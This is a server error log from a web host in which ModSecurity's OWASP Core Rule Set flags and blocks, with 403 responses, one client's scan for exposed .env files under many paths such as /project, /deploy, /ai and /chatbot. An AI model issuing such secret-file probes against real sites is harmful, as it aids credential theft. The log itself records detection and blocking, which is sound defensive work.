[Sun Oct 25 11:55:14.456760 2026] [security2:error] [pid 2858950:tid 2858950] [client 35.198.57.29:48312] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /project/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at4mYrDVJAKw5cHu6Kc82AAAAAw"]
[Sun Oct 25 11:55:14.456989 2026] [security2:error] [pid 2858949:tid 2858949] [client 35.198.57.29:48298] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at4mYsLUxsa_IUcL6-YFBAAAAAs"]
[Sun Oct 25 11:55:14.457012 2026] [security2:error] [pid 2858950:tid 2858950] [client 35.198.57.29:48312] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at4mYrDVJAKw5cHu6Kc82AAAAAw"]
[Sun Oct 25 11:55:14.457364 2026] [security2:error] [pid 2858950:tid 2858950] [client 35.198.57.29:48312] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at4mYrDVJAKw5cHu6Kc82AAAAAw"]
[Sun Oct 25 11:55:14.457372 2026] [security2:error] [pid 2858949:tid 2858949] [client 35.198.57.29:48298] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at4mYsLUxsa_IUcL6-YFBAAAAAs"]
[Sun Oct 25 11:55:14.459023 2026] [security2:error] [pid 2858953:tid 2858953] [client 35.198.57.29:48324] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at4mYnOgesOfLoiC5MhzJwAAAA8"]
[Sun Oct 25 11:55:14.459214 2026] [security2:error] [pid 2858953:tid 2858953] [client 35.198.57.29:48324] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at4mYnOgesOfLoiC5MhzJwAAAA8"]
[Sun Oct 25 11:55:14.459520 2026] [security2:error] [pid 2858953:tid 2858953] [client 35.198.57.29:48324] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at4mYnOgesOfLoiC5MhzJwAAAA8"]
[Sun Oct 25 11:55:14.462896 2026] [security2:error] [pid 2855792:tid 2855792] [client 35.198.57.29:48092] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /llm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at4mYjny6hllpa988e1vEQAAAAI"]
[Sun Oct 25 11:55:14.463099 2026] [security2:error] [pid 2855792:tid 2855792] [client 35.198.57.29:48092] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at4mYjny6hllpa988e1vEQAAAAI"]
[Sun Oct 25 11:55:14.463320 2026] [security2:error] [pid 2855792:tid 2855792] [client 35.198.57.29:48092] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at4mYjny6hllpa988e1vEQAAAAI"]
[Sun Oct 25 11:55:14.558932 2026] [security2:error] [pid 2855805:tid 2855805] [client 35.198.57.29:48152] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /scripts/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at4mYtC9X1saEIOersrHQQAAABY"]
[Sun Oct 25 11:55:14.558965 2026] [security2:error] [pid 2858952:tid 2858952] [client 35.198.57.29:48296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /workspace/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at4mYlHudjrSkDPIE3RAWwAAAA4"]
[Sun Oct 25 11:55:14.559168 2026] [security2:error] [pid 2855805:tid 2855805] [client 35.198.57.29:48152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at4mYtC9X1saEIOersrHQQAAABY"]
[Sun Oct 25 11:55:14.559178 2026] [security2:error] [pid 2858952:tid 2858952] [client 35.198.57.29:48296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at4mYlHudjrSkDPIE3RAWwAAAA4"]
[Sun Oct 25 11:55:14.559546 2026] [security2:error] [pid 2855805:tid 2855805] [client 35.198.57.29:48152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at4mYtC9X1saEIOersrHQQAAABY"]
[Sun Oct 25 11:55:14.559556 2026] [security2:error] [pid 2858952:tid 2858952] [client 35.198.57.29:48296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at4mYlHudjrSkDPIE3RAWwAAAA4"]
[Sun Oct 25 11:55:14.562536 2026] [security2:error] [pid 2858948:tid 2858948] [client 35.198.57.29:48288] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agent/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at4mYgFiAqV_TkdD-Wb15QAAAAo"]
[Sun Oct 25 11:55:14.562727 2026] [security2:error] [pid 2858948:tid 2858948] [client 35.198.57.29:48288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at4mYgFiAqV_TkdD-Wb15QAAAAo"]
[Sun Oct 25 11:55:14.563025 2026] [security2:error] [pid 2858948:tid 2858948] [client 35.198.57.29:48288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at4mYgFiAqV_TkdD-Wb15QAAAAo"]
[Sun Oct 25 11:55:14.563783 2026] [security2:error] [pid 2855794:tid 2855794] [client 35.198.57.29:48186] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /chatbot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at4mYpa7jgKKz5LnrbxLDwAAAAQ"]
[Sun Oct 25 11:55:14.563954 2026] [security2:error] [pid 2855794:tid 2855794] [client 35.198.57.29:48186] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at4mYpa7jgKKz5LnrbxLDwAAAAQ"]
[Sun Oct 25 11:55:14.564178 2026] [security2:error] [pid 2855794:tid 2855794] [client 35.198.57.29:48186] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at4mYpa7jgKKz5LnrbxLDwAAAAQ"]
[Sun Oct 25 11:55:14.564954 2026] [security2:error] [pid 2858945:tid 2858945] [client 35.198.57.29:48278] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agents/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at4mYow3cddgXUOriFTVDgAAAAc"]
[Sun Oct 25 11:55:14.565149 2026] [security2:error] [pid 2858945:tid 2858945] [client 35.198.57.29:48278] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at4mYow3cddgXUOriFTVDgAAAAc"]
[Sun Oct 25 11:55:14.565438 2026] [security2:error] [pid 2858945:tid 2858945] [client 35.198.57.29:48278] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at4mYow3cddgXUOriFTVDgAAAAc"]
[Sun Oct 25 11:55:14.565827 2026] [security2:error] [pid 2855797:tid 2855797] [client 35.198.57.29:48244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at4mYrhaAozp4xXC6PB6EwAAAAg"]
[Sun Oct 25 11:55:14.566095 2026] [security2:error] [pid 2855797:tid 2855797] [client 35.198.57.29:48244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at4mYrhaAozp4xXC6PB6EwAAAAg"]
[Sun Oct 25 11:55:14.566335 2026] [security2:error] [pid 2855797:tid 2855797] [client 35.198.57.29:48244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at4mYrhaAozp4xXC6PB6EwAAAAg"]
[Sun Oct 25 11:55:14.570399 2026] [security2:error] [pid 2853395:tid 2853395] [client 35.198.57.29:48104] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ai/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at4mYhUSNe6FSAQsg7tT2wAAABs"]
[Sun Oct 25 11:55:14.570605 2026] [security2:error] [pid 2853395:tid 2853395] [client 35.198.57.29:48104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at4mYhUSNe6FSAQsg7tT2wAAABs"]
[Sun Oct 25 11:55:14.570912 2026] [security2:error] [pid 2853395:tid 2853395] [client 35.198.57.29:48104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at4mYhUSNe6FSAQsg7tT2wAAABs"]
[Sun Oct 25 11:55:14.577701 2026] [security2:error] [pid 2858944:tid 2858944] [client 35.198.57.29:48306] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /infra/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at4mYkx3ji4yopCwAWOzfgAAAAY"]
[Sun Oct 25 11:55:14.577986 2026] [security2:error] [pid 2858944:tid 2858944] [client 35.198.57.29:48306] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at4mYkx3ji4yopCwAWOzfgAAAAY"]
[Sun Oct 25 11:55:14.578458 2026] [security2:error] [pid 2858944:tid 2858944] [client 35.198.57.29:48306] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at4mYkx3ji4yopCwAWOzfgAAAAY"]
[Sun Oct 25 11:55:14.626300 2026] [ssl:error] [pid 2858951:tid 2858951] (70014)End of file found: [client 23.23.212.212:48985] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:55:15.213495 2026] [security2:error] [pid 2858944:tid 2858944] [client 35.198.57.29:48306] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/chat"] [unique_id "at4mY0x3ji4yopCwAWOzfwAAAAY"]
[Sun Oct 25 11:55:15.213535 2026] [security2:error] [pid 2858944:tid 2858944] [client 35.198.57.29:48306] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/chat"] [unique_id "at4mY0x3ji4yopCwAWOzfwAAAAY"]
[Sun Oct 25 11:55:15.424837 2026] [security2:error] [pid 2858964:tid 2858964] [client 35.198.57.29:35814] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/security"] [unique_id "at4mY1Al7nBJu2FEWkKWagAAACA"]
[Sun Oct 25 11:55:15.424873 2026] [security2:error] [pid 2858964:tid 2858964] [client 35.198.57.29:35814] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/security"] [unique_id "at4mY1Al7nBJu2FEWkKWagAAACA"]
[Sun Oct 25 11:55:18.724060 2026] [security2:error] [pid 2855813:tid 2855813] [client 35.198.57.29:48114] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ml/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at4mZjxOmpmOl2xtX8janAAAAB8"]
[Sun Oct 25 11:55:18.724224 2026] [security2:error] [pid 2855813:tid 2855813] [client 35.198.57.29:48114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at4mZjxOmpmOl2xtX8janAAAAB8"]
[Sun Oct 25 11:55:18.724492 2026] [security2:error] [pid 2855813:tid 2855813] [client 35.198.57.29:48114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at4mZjxOmpmOl2xtX8janAAAAB8"]
